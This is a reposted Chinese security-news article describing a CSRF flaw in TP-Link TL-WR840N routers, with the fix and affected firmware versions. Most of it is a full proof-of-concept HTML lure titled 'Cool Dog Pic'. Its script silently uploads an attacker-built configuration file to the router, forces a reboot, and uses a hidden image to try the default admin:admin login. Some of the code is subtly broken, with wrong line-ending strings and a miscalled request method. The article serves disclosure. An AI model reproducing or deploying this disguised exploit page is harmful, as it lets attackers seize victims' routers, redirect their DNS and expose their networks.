转载

TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程)

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

TP-Link路由器在国内的用户量很大,最近国外安全研究者发现TP-Link一个系列的路由器存在 CSRF 漏洞,攻击者可以修改路由器的任意配置,包括 DNS 等。

漏洞原理:

TP-LinkTL-WR840N 路由器的管理后台提供了很多配置路由器的功能,其中一个功能是导入一个已经存在的配置文件,这个功能存在CSRF 漏洞,攻击者可以诱使路由器管理员访问一个恶意的网站,然后利用这个漏洞导入一个攻击者构造的配置文件,从而可以修改包括路由器的防火墙、远程管理等所有的配置项,当然,如果路由器管理员没有修改管理后台的密码,攻击成本就更低了,都不需要欺骗管理员登陆后台了。

攻击者可以在自己的路由器中设置一些配置项,然后将配置文件导出,就可以拿来do anything you want 了~

利用测试过程:

图一显示POC(概念验证)运行之前的配置情况

TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程)

图二显示运行 POC 的情况

TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程)

图三显示 POC 运行完之后,配置已经被改了

TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程)

POC:

<html> <head><title>Cool Dog Pic</title></head> <body>  <script type="text/javascript">  exploit();  function getConfigureationFile(file){   var xmlhttp = new XMLHttpRequest();   xmlhttp.open("GET",file,false);   xmlhttp.overrideMimeType("text/plain; charset=x-user-defined");   xmlhttp.send(null);   return xmlhttp.responseText;  }  function uploadFileToRouter(fileData, filename){   var boundary = "367815278484079563322656070";   var body = '';   body += '------------------------' + boundary + '/r/n';   body += 'Content-Disposition: form-data; name="filename"; filename="config.bin"/r/n';   body += 'Content-Type: application/octet-stream/r/n';   body += '/r/n';   for (var i = 0;i<fileData.length;i++){    body += String.fromCharCode(fileData.charCodeAt(i) & 0xff);   }   body += '/r/n';   body += '------------------------' + boundary + '/r/n';   body += 'Content-Disposition: form=data; name="Restore"/r/n';   body += '/r/n';   body += 'Restore/r/n';   body += '------------------------' + boundary + '--/r/n';   var xmlhttp = new XMLHttpRequest();   xmlhttp.post("POST","http://192.168.0.1/incoming/RouterBakCfgUpload.cfg",true);   xmlhttp.withCredentials = true;   xmlhttp.setRequestHeader("Content-Type", 'multipart/form-data;boundary=-------------------------------' + boundary);   xmlhttp.setRequestHeader('Content-length', body.length);   xmlhttp.sendAsBinary(body);   }  function rebootRouter(){   var xmlhttp = new XMLHttpRequest();   xmlhttp.open("GET","http://192.168.0.1/userRpm/ConfUpdateTemp.htm",true);   xmlhttp.withCredentials = true;   xmlhttp.send(null);  }  function sleep(milliseconds){   var start = new Date().getTime();   for (var i = 0;i<1e7;i++){    if ((new Date().getTime() - start) > milliseconds) {     break;    }   }  }  function exploit(){   sleep(3000);   var c = getConfigureationFile('config.bin');   uploadFileToRouter(c,'config.bin');   rebootRouter();  }  </script>  <img src="http://fc05.deviantart.net/fs71/f/2012/092/a/e/aww__derp_puppy_by_chrisiipoo-d4uuah3.jpg"></img>  <img width='0' height='0' src="http://admin:admin@192.168.0.1" class="hidden"></img> </body> 

修复方案:

升级到固件3.13.27, build141120 或更新的版本。

影响范围:

TL-WR840N v1 (固件版本 3.13.27, build140714 或更早的)。

[参考来源 secureworks ,文/实习编辑 吴知,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]

正文到此结束
Loading...